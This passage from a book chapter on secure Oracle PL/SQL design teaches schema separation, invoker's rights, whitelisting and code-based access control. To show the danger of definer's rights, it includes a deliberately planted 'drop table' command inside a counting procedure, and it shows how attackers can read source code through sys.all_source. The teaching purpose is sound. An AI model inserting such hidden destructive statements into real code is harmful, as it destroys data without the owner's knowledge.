Figure 6-2.  All application logic including DDL and DML is stored outside the database Figure 6-3 shows another common problem we see. Data and code are stored in a database schema, and some SQL is stored outside of the database in Java, PHP, or Python. The SQL is either generated by a framework or handwritten into the code. This configuration has a few problems with it. Let’s start with SQL that is generated by a framework. You will suffer performance issues, because the SQL generated by the framework will cause excessive network traffic, and you’ll likely also be dealing with the SQL having to recompile every time it sends a request to the database. These are two big performance issues. Then we’re back to the SQL injection issue; if the bad guy finds a SQL injection bug, he owns your database. Because there is more network traffic than required, the attack surface has been increased.

199

Chapter 6

Secure Coding and Design

USER

App Server. Business Logic

Data and Code

Figure 6-3.  Data and code (DDL/DML) are stored in a common database schema along with DDL and DML stored in the application server

I mproved Design Now we’ll discuss what we need to do to implement a trusted path to the data. The first thing we need to do is separate the data and PL/SQL code into different schemas. Your business logic code calls the API that performs the required DML. This is all done inside the database, minimizing network round-trips and thereby reducing the attack surface and improving application performance. In Figure 6-4 we’ve separated the code from the data, executed the code using code-based access control (CBAC), and granted roles to the code. By doing these simple steps, if we have a SQL injection bug in one API, we’re not exposing all of the data to the bad guys. This reduces the attack surface quite a bit. Additional advantages of this design paradigm are improved performance and ease of maintenance.

200

Chapter 6

Secure Coding and Design

Declarations

USER

App Server. Business Logic

API Data

Errors

Figure 6-4.  All the DML DDL code is stored in an API schema separated from the data. The business logic is stored in the application server A neat little trick we use frequently is shown in Figure 6-5. We break up the data, API, and declarations and schemas into sensitive and nonsensitive schemas. By segmenting your sensitive and nonsensitive information, if we have a SQL injection bug in a nonsensitive API, then we have an additional layer of security keeping the bad guys out of our sensitive information.

201

Chapter 6

Secure Coding and Design

Non-Sensitive

Non-Sensitive API Non-Sensitive Data

USER

App Server. Business Logic

Sensitive API Sensitive Data

Sensitive

API

Errors

Figure 6-5.  Sensitive data and API and nonsensitive data and API stored in separate database schemas In the past we’ve taken this to the extreme level of placing our sensitive data and nonsensitive data on different database servers, even though the data was part of the same application. That’s an extreme use case; make sure you have a good reason to separate your data onto different servers. There is a lot of extra work and expense in doing that.

Schema-Only Accounts Oracle 18c introduced schema-only accounts. This solves the problem of users and applications connecting to the database as the application owner. When you create a schema-only account, you’re creating an account that has no password associated with it. Therefore, the only way to work in the account is to create a proxy user who can connect to the account. The proxy user is typically a named user who is an application DBA. 202

Chapter 6

Secure Coding and Design

Trusted Path A trusted path is not a technology or a methodology. A trusted path is when you have faith in everything that the data touches. This is done by making sure the user does not have too many privileges, by making sure the code that is executing does not have too many privileges, and by narrowing down the access paths to the data so everything the data touches is trusted. This model is being built using Oracle 18.3; if you are on an older version of Oracle such as 12c or 11c, some of the features we’ll be using will not work. For this example, all data will be kept in the HR demo schema that ships with Oracle. The HR schema will be a schema-only account. The schema-­ only account is an 18c feature. By making HR a schema-only account, we don’t have to worry about a user logging on as the HR user and getting full access to all data stored in the account. The API schema (HR_API) will hold all the SQL code that will be used to manipulate the data in the HR schema and will be invoked by the business logic layer. The HR_API schema will also be a schema-only account. There are a number of advantages to this. By having all the SQL stored in APIs, tuning becomes easier; you’re no longer dealing with many different developers writing different versions of SQL to perform the same function, such as seeing if an employee exists. In addition, we are going to be using code-based access control (CBAC) to control what data a package can access. CBAC is a 12c feature; if you are on an older version of Oracle, this feature will not work. The DECLARATIONS schema (HR_DECL) will hold data structures built using the HR schema and will be shared with the HR_API schema. This will allow one common place to store types and cursors that will be reused by the packages in the HR_API schema.

203

Chapter 6

Secure Coding and Design

The ERRORS schema (HELP) and the ERRORS API schema (HELP_API) are going to be used to capture errors that occur. Both the HR_API packages and the business logic layer use this to capture errors and then return the primary key of the error. Once an error has been captured, an authorized person (developer, help desk, etc.) can get the error information using the primary key that was returned. We will be creating a BUSINESS LOGIC schema (HR_BL) to perform the business logic instead of creating an external application. This is to keep the examples simple. If you want to create a business logic application that resides on an application server or runs on a client, you’re free to do so. The business logic layer performs all the business logic and calls the packages that are stored in the API layer. Before we start sewing all of this together, we need to make sure you understand a few things, such as why you should only use packages for your code, how packages work with definer’s and invoker’s rights, how accessible by works, and CBAC. We have already introduced the schema-­only account. We will be using these features to create a trusted path to the data. Once we’ve gone through these features, we’ll tie them all together and see how they work in harmony with each other. In CBAC’s purest form, you should be using singleton packages (packages that have only one procedure or function); you should not be creating any procedures or functions, and there is good reason for that. With one SQL injection bug, if your code is in procedures or functions, not only can someone extract all your data, they can also extract all your source code by simply selecting the text from sys.all_source. If your code is in packages, then we can extract only the package specification.1 There is an important subtlety you need to understand: when you grant execute privileges on a package to a role or a user, you are granting visibility only

 his depends on the privileges of the user executing the SQL injection code. If the T user is connected as the application owner, then all bets are off. If the user has the dba or select catalog role, then all bets are off.

1

204

Chapter 6

Secure Coding and Design

to the package specification, not the package body. On the other hand, if you grant execute on a procedure or a function to a role or a user, then you are granting visibility to the code of the procedure or a function. Therefore, you should always use packages. In addition, you should not put your comments in the package specification, as they would be visible to a potential hacker through a SQL injection bug. You should place all your comments in the package body. As a best practice, we put our header comments right after the create or replace package body statement. Here’s an example of extracting code from sys.all_source where it’s a package: u1@orclpdb1 > sho user USER is "TEST_USER1" u1@orclpdb1 > select text   2  from sys.all_source   3  where name = 'UTL'   4    and owner = 'RLOCKARD'; TEXT --------------------------------------------------------------package utl as   function timestamp_to_date(ts_value timestamp) return date; end utl; Now here’s an example of extracting code from sys.all_source where it’s a procedure: u1@orclpdb1 > sho user USER is "TEST_USER1" u1@orclpdb1 > select text   2  from sys.all_source   3  where name = 'P_TEST'   4*   and owner = 'RLOCKARD'; TEXT --------------------------------------------------------------205

Chapter 6

Secure Coding and Design

procedure p_test as x   integer; begin     select count(*)     into x     from sys.all_objects;     sys.dbms_output.put_line('there are ' || to_char(x) ||                             ' objects in sys.all_objects.'); end p_test; Now of course what you see here is highly focused, because we know what code is stored in our database. An attacker would not start with a highly focused query to get your source code; they may start with looking to find the distinct owner, type, and name from sys.all_source and drill down from there. So, now you know why you must always use packages.

Definer’s and Invoker’s Rights Part of the trusted path is the permissions that code will use when it executes. One part of controlling the permissions that code will use when executing is by defining it with either definer’s rights or invoker’s rights. PL/ SQL packages, procedures, functions, and types are created with either definer’s rights or invoker’s rights. If a package, procedure, function, or type is created using definer’s rights, the code inherits all the privileges of the schema it resides in. Therefore, if you create a package in the same schema as the data, then the package has full update, insert, delete, select, and, yes, even drop and truncate privileges on the tables in the schema.

Definer’s Rights We’ll set up the first test for definer’s rights to see how it works. In this case, we’ll create two users, test_data1 and test_user1. The schema test_ data1 will be a schema-only account, meaning to connect to it, we’ll need to use a proxy user. This makes the schema more secure. 206

Chapter 6

Secure Coding and Design

The test user test_user1 is going to be the user executing the code. create user test_user1 identified by DontTellAnyoneMyPassword; grant create session to test_user1; This is going to be the schema that holds data and code. test_data1 is going to be a schema-only user, so the only way to connect to it is through a proxy connection. We’ll give test_data1 an unlimited quota on the enc_dat encrypted tablespace. create user test_data1 no authentication quota unlimited on enc_dat default tablespace enc_dat; -- now give test_data1 some permissions, so we can create the objects -- we are going to need for this demo. grant create session, create procedure, create table to test_data1; Grant rlockard (that’s us, the administrator of the database) proxy authentication to the test_data1 schema. alter user test_data1 grant connect through rlockard; Now we’ll connect to the test_data1 schema and build some objects to play with. First, create a couple of test tables. We’re just interested in having some data to play with right now. These tables are going into the test_data1 schema. sql> conn rlockard[test_data1]@orclpdb1 sql> create table test_data1.t1 as select * from sys.all_ objects; sql> create table test_data1.t2 as select * from sys.all_indexes; -- check to make sure we have some data to play with. sql> select count(*) from test_data1.t1; sql> select count(*) from test_data1.t2; 207

Chapter 6

Secure Coding and Design

Create the package p_test that will reside in the test_data1 schema. The singleton package will return the number of objects in the p_kount parameter of the type passed to p_obj_type. sql> create or replace package test_data1.p_test authid definer -- this is redundant, by default the package                 -- will be created with definer rights. as     procedure p_count_object_types(p_obj_type in varchar2,                                    p_kount out integer); end p_test; / Now we are going to create the package body that will do the meat of the work, and yes, we are going to intentionally introduce a nasty bug. sql> create or replace package body test_data1.p_test as procedure p_count_object_types(p_obj_type in varchar2,                                p_kount out integer) is     begin         select count(*)         into p_kount         from test_data1.t1 -- note, I always use the schema name to remove ambiguity         where object_type = p_obj_type;         -- This is nasty! Does the business logic really want the code         -- to drop a table?         execute immediate 'drop table t2';     end p_count_object_types; end p_test; /

208

Chapter 6

Secure Coding and Design

Give test_user1 the ability to execute the package. sql> grant execute on test_data1.p_test to test_user1; When you execute the code as test_user1, the table test_data1.t2 is dropped. Now with the code executing with definer’s rights (that’s how the package was created by default), we not only get the count of object of type VIEW, but the code also drops the t2 table that is owned by test_data1. The package p_test, created in the test_data1 schema, inherited all the privileges of the schema, and because it’s the owner of the table and the code, it can do anything it wants with the objects in the test_data1 schema. As you can see when you execute the following statements, you get the ORA-00942 error table, or “view does not exist.” This is because test_user1 has not been granted any privileges on the tables t1 and t2 in the test_ data1 schema; however, because the user has execute privileges on test_ data1.p_test and the package was created using definer’s rights, we can get the count of object types from test_data1.t1. Connect as test_user1. sql> conn test_user1@orclpdb1 sql> select count(*) from test_data1.t1;  -- you'll get an ORA-­ 00942 error sql> select count(*) from test_data1.t2;  -- you'll get an ORA-­ 00942 error Test to see that the code executes as advertised. Well, there was that nasty bug we introduced. Yes, it executes. sql> set serveroutput on; sql> declare x integer; -- just a dumb variable to hold the object count. begin   test_data1.p_test.p_count_object_types(p_obj_type => 'VIEW',                                          p_kount => x);

209

Chapter 6

Secure Coding and Design

  sys.dbms_output.put_line('the count of object types is ' || to_char(x)); end; / Now if we go back to the test_data1 schema, we’ll see that the table test_data1.t2 is gone. Again, this is because the package test_data1.p_ test was created with definer’s rights and the package resided in the same schema as the table test_data1.t2. sql> conn rlockard[test_data1]/DontTellAnyoneMyPassword@ orclpdb1 sql> select count(*) from test_data1.t2; Although the user did not have privileges on t2, the code inherited the privileges from the schema and was able to drop the table.

Invoker’s Rights When you create a package using invoker’s rights, the package will inherit the privileges of the user executing the package. Now we’ll change the package p_test to use invoker’s rights. The user test_user1 does not have any privileges on the table test_data1.t1 and test_data1.t2, so the package will return an error when we try to execute it. But if we grant select privileges on test_data.t1 and remove the line where we drop the table test_data.t2, then the code will execute. This is because the code will inherit test_user1’s privileges. We are still connected to the database as test_data1, so we don’t need to reconnect. sql> create or replace package test_data1.p_test authid current_user -- yea' it can be confusing, I've been using the word invokers                     -- rights; however the syntax is current_user. as 210

Chapter 6

Secure Coding and Design

    procedure p_count_object_types(p_obj_type in varchar2,                                    p_kount out integer); end p_test; / Let’s get rid of that nasty “execute immediate” bug we introduced earlier. sql> create or replace package body test_data1.p_test as procedure p_count_object_types(p_obj_type in varchar2,                                p_kount out integer) is     begin         select count(*)         into p_kount         from test_data1.t1 -- note, I always use the schema name to remove ambiguity         where object_type = p_obj_type;         -- note we commented out the following line, we actually want this code to         -- work, to do that we'll need to grant select on test_ data1.t1 to the         -- user executing the code.         -- execute immediate 'drop table t2';     end p_count_object_types; end p_test; / Now we need to give test_user1 select privileges on test_data1.t1. It’s a bad idea to grant a user direct access to database objects, so what we are going to do is clean this up a bit by creating a role that will have both execute privileges on test_data1.p_test and select privileges on test_data1.t1. We’re still connected to the test_data1 schema through

211

Chapter 6

Secure Coding and Design

the proxy user, so we need to switch to our dba account to create the role, grant the role to test_user1, and grant select privileges on test_data1.t1 to the role. sql> sql> sql> sql>

conn rlockard@orclpdb1 create role test_role; grant select on test_data1.t1 to test_role; grant test_role to test_user1;

There is a subtlety about roles you need to understand. We’ve granted the role to test_user1, and if you’re like us, you may have several PuTTY sessions open to different database accounts. So, if you have a test_user1 session open, switch to it and try to access test_data1.t1; it won’t work. You’ll get the ORA-00942 error table, or “view does not exist” error. This is because roles are evaluated when you connect to the database. Therefore, disconnect from the test_user1 session using exit, and then reconnect to the test_user1 account using either sqlplus, sqlcl, or SQL Developer. Once you reconnect, the privileges will be available. You’ll see that select privileges on t1 will work; however, a select on t2 will still return an error. sql> exit $sql test_user1@orclpdb1 sql> select count(*) from test_data1.t1;  -- this will work sql> select count(*) from test_data1.t2;  -- you'll get an ORA00942 error, you don't                                           -- have permission to see test_data1.t2. Run the test again. Because the code is now executing with invoker’s rights and the user test_user1 has a role that grants execute privileges on the p_test package along with select privileges on t1, this will work.

212

Chapter 6

Secure Coding and Design

sql> set serveroutput on; sql> declare x integer; -- just a dumb variable to hold the object count. begin   test_data1.p_test.p_count_object_types(p_obj_type => 'VIEW',                                          p_kount => x);   sys.dbms_output.put_line('the count of object types is ' || to_char(x)); end; / So, now you should have a good idea of how definer’s and invoker’s rights work. With definer’s rights, the code will execute with the same privileges of the schema it resides in, and with invoker’s rights, the code will execute with the same privileges of the user who is executing the code.

accessible by The next part of building a trusted path to your data is to define what code can call your stored package, function, or procedure. (We stress you should always be using packages.) When you create a package using the accessible by clause, it allows you to whitelist what can execute the code in a package. This feature first came available in Oracle 12.1 and then was enhanced in Oracle 12.2. You can apply the accessible by clause to packages, procedures, functions, triggers, types, and object type bodies. You should know that when applying accessible by to packages, there is a subtlety between 12.1 and 12.2. If you are applying accessible by in 12.1, you can whitelist a package to execute a package. So, if you have multiple procedures and functions exposed in the package specification, you don’t have fine-grained control over the whitelist. The accessible by clause is another tool you can use to enforce a trusted path to get to

213

Chapter 6

Secure Coding and Design

the data. Because the accessible by clause creates a whitelist of what can execute code, anything that is not in the accessible by clause is not allowed to execute the code. In this 12.1 example, we are whitelisting the package hr_bl.hr_adm_pkg. Therefore, any procedure or function in the packages hr_bl.hr_adm_pkg and hr_bl.hr_usr_lookups can call any procedure or function that is exposed in the package specification of hr_api.test_12_1_pkg. This is a step in the right direction; however, as you can see, by carelessly including hr_bl.hr_usr_lookups in the accessible by list, the package hr_bl.hr_ usr_lookups can also call p_upd_emp_phone. That’s not a lookup function! The accessible by clause is applied at the package specification level. sql> create or replace package hr_api.test_12_1_pkg   accessible by (hr_bl.hr_adm_pkg, hr_bl.hr_usr_lookups) as   procedure p_upd_emp_phone (p_emp_id    in  integer,                                p_emp_phone in  varchar2,                                p_err_code  out integer);   procedure p_sel_emp_phone(p_emp_id in integer,                               p_emp_phone out varchar2,                               p_err_code  out integer) end test_12_1_pkg; / In 12.2 and newer, we have fine-grained control over what procedures and functions we can whitelist. Now we can apply the accessible by clause to individual procedures and functions in the package specification. sql> create or replace package hr_api.test_12_2_pkg as   procedure p_upd_emp_phone (p_emp_id    in  integer,                              p_emp_phone in  varchar2,                              p_err_code  out integer) accessible by (package hr_bl.hr_adm_pkg); 214

Chapter 6

Secure Coding and Design

  procedure p_sel_emp_phone(p_emp_id in integer,                               p_emp_phone out varchar2,                               p_err_code  out integer)   accessible by (package hr_bl.hr_adm_pkg,                  package hr_bl.hr_usr_lookups); end test_12_2_pkg; / -- we're just creating the package body to demonstrate accessible by. This -- package body has no functionality. sql> create or replace package body hr_api.test_12_2_pkg as   procedure p_upd_emp_phone (p_emp_id    in  integer,                              p_emp_phone in  varchar2,                              p_err_code  out integer)   accessible by (package hr_bl.hr_adm_pkg)   is   begin     sys.dbms_output.put_line('DO SOMETHING');   end p_upd_emp_phone;   procedure p_sel_emp_phone(p_emp_id in integer,                             p_emp_phone out varchar2,                             p_err_code  out integer)   accessible by (package hr_bl.hr_adm_pkg,                package hr_bl.hr_usr_lookups)   is   begin     sys.dbms_output.put_line('DO SOMETHING ELSE');   end p_sel_emp_phone; end test_12_2_pkg; /

215

Chapter 6

Secure Coding and Design

accessible by is resolved at compile time; therefore, even using a powerful account like SYS, you still won’t be able to execute the code if you’re not in the whitelist. So, let’s build the package body and test to see what happens when someone tries to execute the code and is not in the whitelist. We’re going to do this as ourselves. We’re the big dog in this database, right? r@orclpdb1 > conn rlockard@orclpdb1 r@orclpdb1 > select granted_role from user_role_privs; GRANTED_ROLE ------------------DBA HR_ADMIN SECURITY_EDIT_ROLE sql >declare   x integer; -- just a dumb variable to catch p_err_code. we expect              -- p_err_code to be null, because this code will be blocked.   s_phone hr.employees.phone_number%type; begin   hr_api.test_12_2_pkg.p_sel_emp_phone(p_emp_id    => 1,                                        p_emp_phone => s_phone,                                        p_err_code  => x); end; / Error report ORA-06550: line 6, column 3: PLS-00904: insufficient privilege to access object P_SEL_EMP_PHONE 06550. 00000 -  "line %s, column %s:\n%s" *Cause:    Usually a PL/SQL compilation error.

216

Chapter 6

Secure Coding and Design

Using the Schema-Only Account By making a schema-only account, nobody can connect to it except through a proxy account. This feature is available in Oracle 18c and newer. Here’s the beauty of schema-only accounts. When a proxy user connects to the schema-only account, all audit actions are recorded under the proxy user. This is a huge benefit, because we’ve seen many times where the OS user in an audit record is Oracle or some other shared account. We need to know who did the work. The only reason someone needs to connect to a schema-only account would be to do maintenance. Creating a schema-only account is quite easy. There are two ways to do it. Connect to your dba account or with an account that has create user privileges. Use the clause no authentication; therefore, the account will not have a password. sql> conn rlockard@orclpdb1 sql> create user hr_api no authentication; Alternately, you can just leave off the no authentication clause. Both ways work. sql> create user hr_api; To connect to a schema-only account, you’ll need to set up a proxy user. We’ve mentioned this a couple of times already. The syntax to set up a proxy user is as follows: alter user [schema-only account] grant connect through [proxy user] Here’s an example: sql> alter user hr grant connect through rlockard; Once you’ve created the proxy user, you can connect to the schema-­ only account. If you’re already connected to the database, execute the following command where conn is the shorthand for connect, proxy user 217

Chapter 6

Secure Coding and Design

is the user who has the proxy permission, schema-only account is the schema-only account, and database service is the database service you are connecting to. conn []@ Here’s an example: sql> conn rlockard[hr]@orclpdb1 If you have not already connected to the database, replace conn with sqlplus or sql, depending on if you have sqlcl installed. If you want to use a tool like Oracle SQL Developer, I highly recommend it. SQL Developer is a great GUI into the database that we use all the time.

Code-Based Access Control The magic begins. We’re going to start sewing a trusted path together. With CBAC we now have the ability to grant roles to packages. When you grant a role to a package, the package is defined using invoker’s rights, and the user executing the code does not have privileges on the underlying data objects. The code will execute only with the privilege that was granted to it through the role. We’ll start by setting up the users we need. The Oracle database comes with demo schemas, so for our purposes, we will be using the HR demo schema; however, we’re going to make a few changes to it to make it more secure. The first change we are going to make is to make the HR schema a schema-only account. Log on as a DBA or with an account that has the ALTER USER privilege and perform the following: $ sql rlockard@orclpdb1 sql> alter user hr no authentication; Next we’re going to move the hr default tablespace to the encrypted tablespace enc_dat. Then we are going to grant the HR user unlimited tablespace privileges on the data tablespace enc_dat and the index 218

Chapter 6

Secure Coding and Design

tablespace enc_idx. If you have not set up encrypted tablespaces yet, you can skip this and leave it where it is now (users tablespace), or you can read Chapter 1 to see how to create an encrypted tablespace. sql> alter user hr default tablespace enc_dat; sql> alter user hr quota unlimited on enc_dat; sql> alter user hr quota unlimited on enc_idx; Now that we have set up the HR schema to use the encrypted tablespaces, we’ll move all the data in unencrypted tablespaces to the encrypted tablespaces. We won’t go through all of the tables and indexes; you can easily get all the data objects owned by HR by querying sys.dba_segments. sql> select segment_name, segment_type   2  from sys.dba_segments   3* where owner = 'HR'; Now, let’s move the tables and indexes to encrypted tablespaces. Important note: We’ve moved the data from an unencrypted tablespace to an encrypted tablespace. There is still ghost data residing in the unencrypted tablespace. Therefore, you’ll need to go back and destroy the unencrypted data files. Read Chapter 1 to see how to destroy the data files without destroying your database. -- move a table, do this for all the tables in the HR schema sql> alter table hr.employees move tablespace enc_dat; -- move an index, do this for all the indexes in the HR schema. sql> alter index hr.emp_email_uk rebuild tablespace enc_idx; Let’s continue building the schemas we need for this architecture. The hr_api schema will not need storage, only the ability to create procedures and create sessions. The API schema will be used to store packages that will have the privileges to do DML on the tables stored in the HR schema. Again, this is a schema-only account.

219

Chapter 6

Secure Coding and Design

sql> create user hr_api no authentication; -- now we need to grant the privileges required for the HR_API schema. sql> grant create session, create procedure to hr_api; Now we get into the decls account. This is a schema-only account that will hold type declarations that will be common across multiple schemas. The decls account will only need create session and create procedure. create user hr_decls no authentication; grant create session, create procedure to hr_decls; This is our business logic account that the user will interface with. Note that this is not a required account; the code that the user interfaces with can be in the database or the application tier. We’re just putting it in the database to keep things simple. create user hr_bl no authentication; grant create session, create procedure to hr_bl; We have the accounts set up; now how do we actually work with them? Well, Oracle gives us proxy accounts, so a privileged user can go into the account and perform maintenance. So, let’s grant connect through to the proxy user to the schema-only accounts we’ve set up. As you can see, what we are doing here is giving specific users the ability to connect to the various schema-only accounts to do maintenance. Again, all audit actions will appear as the proxy user. alter alter alter alter

user user user user

hr grant connect through rlockard; hr_api grant connect through rlockard; hr_decls grant connect through rlockard; hr_bl grant connect through rlockard;

Before we start building out the schemas, we’re going to need to grant some privileges to the underlying tables. To get the code to compile, the schema needs a direct grant on the underlying tables. You cannot grant 220

Chapter 6

Secure Coding and Design

the schema the privilege through a role. This is because roles are evaluated on when you connect to the database, and by definition, stored packages are always present, and the schema that holds them does not need a connection. Therefore, you must do a direct grant so the code can compile. The only schemas that need select privileges on the hr tables is HR_API so our code can compile and hr_decls so the decls package can compile. grant grant grant grant grant grant

select select select select select select

on on on on on on

hr.employees to hr_api; hr.employees to hr_decls; hr.departments to hr_api; hr.departments to hr_decls; hr.locations to hr_api; hr.locations to hr_decls;

Because the HR_API schema will be the only schema that can perform DML, the hr_decls and hr_bl schemas do not need to have update, insert, or delete. Therefore, we’ll only grant update, insert, and delete to hr_api. grant grant grant grant grant grant

update insert delete update insert delete

on on on on on on

hr.departments to hr_api; hr.departments to hr_api; hr.departments to hr_api; hr.locations to hr_api; hr.locations to hr_api; hr.locations to hr_api;

We’re going to start by building the hr_decls schema. To connect as a proxy user, use your username, and then in [], place the schema-only account you’re going to connect to, followed by @ and the database service name. Because we already have a sqlcl session going, we will use the conn command. conn rlockard[hr_decls]@orclpdb1

221

Chapter 6

Secure Coding and Design

If you need to start up sqlcl or use sqlplus, the command would look like this. For sqlplus, use the following command: sqlplus rlockard[hr_decls]@orclpdb1 For sqlcl, use the following command: sql rlockard[hr_decls]@orclpdb1 The package name decls is for declarations. This package has a few cursors we are defining to get the structure of the data we want to work with. The first cursor, loc_cur, is for locations; it is defined just like a normal cursor. You can add and remove columns as you desire. The second cursor, loc_dept_cur, is a join of the locations table and the departments table. The third cursor, dept_cur, is for departments. The fourth and final cursor, emp_cur, is for employees. We’ll use the structure of these cursors to build both subtypes and table types that we’ll give visibility via grant execute to the hr_api and hr_bl schemas that will need it. The type t_emp_detail_t is built off of the cursor emp_details_cur. We should probably explain our naming convention here; st is for the subtype, and you’ll notice that the first command is rowtype. This is a single row that takes the definition of emp_details_cur. Because of this, we are using the nonplural form, ST_LOC. In the next line, we are using the plural form T_EMPS, because this is a table of the subtype ST_EMP. create or replace package hr_decls.decl IS        -- define the cursors   CURSOR emp_cur IS   SELECT employee_id,          first_name,          last_name,          email,          phone_number, 222

Chapter 6

Secure Coding and Design

         hire_date,          job_id,          salary,          commission_pct,          manager_id,          department_id,          ssn   FROM hr.employees;   -- types definitions   subtype st_emp IS emp_cur%rowtype;   type t_emps is table of st_emp index by pls_integer; end decl; / For the hr_api schema and the hr_bl schema to be able to use the declarations in the hr_decls.decl package, we need to use grant execute on the package to them. This will give visibility of the decls package to the hr_api and hr_bl schemas. sql> grant execute on hr_decls.decl to hr_api; sql> grant execute on hr_decls.decl to hr_bl; We have the foundation built, so we can start building our API. Before we go too far, let’s explain a bit about how granting roles to packages work. There are three ways to grant roles to packages. •

The first way is to use the SYS account to grant the role and you should never do this. In fact, it is always a bad idea to use the SYS account to do any work. You’ll need to create the role and grant the privileges as the package owner, because we are spanning schemas; this is just not practical without giving the schema that owns the package too many privileges.

223

Chapter 6

Secure Coding and Design



The second way to grant a role to a package is to create the role and grant it to the schema that owns the package with admin option. This is a bad idea, because with admin option, the schema can then grant the role to another schema.



The third way and the preferred way to grant the role to a package is to grant it to the schema that owns the package with delegate option.

Let’s get back to our DBA account. We’ll need to be in an account with either DBA privileges or an account with create role privileges and the privilege to grant privileges on the tables. Because this is typically a DBA’s job, we’ll do it in an account that has the DBA role. sql> conn rlockard@orclpdb1

Set Up Roles and Privileges We’ll start by creating some roles that will be granted to the packages so they can execute using code-based access control. The first set of roles will be used to give select privileges to the packages. create role hr_emp_sel_rol; create role hr_dept_sel_rol; create role hr_loc_sel_rol; -- create the insert roles create role hr_emp_ins_rol; create role hr_dept_ins_rol; create role hr_loc_ins_rol; --we'll create the update role. create role hr_emp_upd_rol; create role hr_dept_upd_rol; create role hr_loc_upd_rol; 224

Chapter 6

Secure Coding and Design

-- create the delete roles create role hr_emp_del_rol; create role hr_dept_del_rol; create role hr_loc_del_rol; Now let’s grant the required select privilege on the employees, departments, and locations tables to the required roles. Someone asked us not too long ago, why not grant all the privileges to one role and use that role? The easy answer is, then the role will be over-privileged. Yes, it’s more typing, because we are granting the role to a package, but by using this approach, we have fine-grained control over what a package can do through a role. grant grant grant grant grant grant grant grant grant grant grant grant

select select select insert insert insert update update update delete delete delete

on on on on on on on on on on on on

hr.employees to hr_emp_sel_rol; hr.departments to hr_dept_sel_rol; hr.locations to hr_loc_sel_rol; hr.employees to hr_emp_ins_rol; hr.departments to hr_dept_ins_rol; hr.locations to hr_loc_ins_rol; hr.employees to hr_emp_upd_rol; hr.departments to hr_dept_upd_rol; hr.locations to hr_loc_upd_rol; hr.employees to hr_emp_del_rol; hr.departments to hr_dept_del_rol; hr.locations to hr_loc_del_rol;

Now we’ll grant to roles to the hr_api schema using with delegate option. Again, we need to use with delegate option to be able to grant the role to a package. And as we said earlier, using the SYS account or admin option is a bad idea, so we are using the delegate option. grant hr_emp_sel_rol to hr_api with delegate option; grant hr_dept_sel_rol to hr_api with delegate option; grant hr_loc_sel_rol to hr_api with delegate option; 225

Chapter 6

grant grant grant grant grant grant grant grant grant

Secure Coding and Design

hr_emp_upd_rol to hr_api with delegate option; hr_dept_upd_rol to hr_api with delegate option; hr_loc_upd_rol to hr_api with delegate option; hr_emp_ins_rol to hr_api with delegate option; hr_dept_ins_rol to hr_api with delegate option; hr_loc_ins_rol to hr_api with delegate option; hr_emp_del_rol to hr_api with delegate option; hr_dept_del_rol to hr_api with delegate option; hr_loc_del_rol to hr_api with delegate option;

Build the API Schema Now that we have the schema, declarations, and grants set up, we can start building our API. The first thing we need to do is to connect to the hr_api schema. conn rlockard[hr_api]@orclpdb1 To have fine-grained control over access to the data, we are creating singleton packages. That is, for each package, it will have only one piece of functionality. We’ll rely on business logic (hr_bl) to call multiple APIs in order to do the business logic (HR_BL) work. If you need complex data from multiple tables, you can define those data structures in the hr_decls. decls package and recompile it. hr_decls has already granted execute on the package decls to hr_api, so you won’t need to do that again. Note that authid current_user is being used. This way, the package does not pick up its privileges using definer’s rights. This way, the package will only be able to execute with the privileges granted to it through the role. create or replace package hr_api.emp_sel_pkg authid current_user as

226

Chapter 6

Secure Coding and Design

  function f_get_emp(p_first_name in varchar2 default null,                      p_last_name  in varchar2 default null,                      p_emp_id     in integer  default null)   return hr_decls.decl.t_emps   accessible by package (hr_bl.manage_emp_pkg); end emp_sel_pkg; / Because this package will only select from the hr.employees table, we’ll now grant the role hr_emp_sel_rol to the package. Now it’s time to remind you of how authid current_user works. When your package has authid current_user, the package will only execute either with the privileges of the user executing the package or with the privileges the package received from roles granted to it. Since users are not granted privileges to any of the tables, the package can execute only with the roles granted to it. sql> grant hr_emp_sel_rol to package hr_api.emp_sel_pkg; You’ll notice we don’t put any comments in the package specification. As mentioned earlier, if we do this, if you have a SQL injection bug, all a hacker has to do is go to all_source to extract your source code. If a hacker can get to your source code, then they will learn all about how your system is designed and can set up a targeted attack on your production system. create or replace package body hr_api.emp_sel_pkg as   -- rlockard 20190215 initial version.   -- this package function will take an employee name create or replace package body hr_api.emp_sel_pkg as   -- rlockard 20190215 initial version.   -- this package function will take an employee name

227

Chapter 6

Secure Coding and Design

  function f_get_emp(p_first_name in varchar2 default null,                      p_last_name  in varchar2 default null,                      p_emp_id     in integer  default null)   return hr_decls.decl.t_emps   accessible by package (hr_bl.manage_emp_pkg)   is   tt_emps hr_decls.decl.t_emps;   i_error_id integer; -- if an error is generated, this is the primary key                       -- in the help.errors table.                       -- use the help_api.get_errors_pkg.f_get_ error with                       -- the error id to get a json clob of the error stack.   begin     -- check to make sure we have something to lookup. we're not allowing     -- a generic lookup of all the data; nope, allowing someone to     -- extract all of the data is a bad idea. We can tighten this up more     -- by using Virtual Private Databases (VPD). We'll add in VPD at the     -- end to really make this tight.     if p_first_name is null and p_last_name is null and p_emp_ id is null then         return tt_emps; -- tt_emps will be empty.     end if;     -- now let's find the employee and return a table of employees to the calling

228

Chapter 6

Secure Coding and Design

    -- package. As you can see, we are making some of the sensitive columns null,     -- this way we can reuse the hr_decls.decl.t_emps type for the package that     -- hr administrators can use. We can also use redaction. We'll modify this in     -- another chapter to include redaction.     begin       select employee_id,            first_name,            last_name,            email,            phone_number,            hire_date,            job_id,            null,                       --salary            null,                       --commission_pct            manager_id,            department_id,            null                        --ssn       bulk collect into tt_emps       from hr.employees       where (first_name = p_first_name and p_first_name is not null)         and (last_name  = p_last_name and  p_last_name is not null)         and (employee_id = p_emp_id and p_emp_id is not null);       return tt_emps;     exception when others then       -- We don't have the errorstack package built yet, so comment out the       -- line until we get that built.       -- help_api.errorstack_pkg.main(p_error_id => i_error_id);

229

Chapter 6

Secure Coding and Design

      --       sys.dbms_output.put_line('there was an error: ' || to_char(i_error_id) ||                                '  '|| sqlerrm);              return tt_emps;  -- tt_emps will be empty.     end;   end f_get_emp; end emp_sel_pkg; /

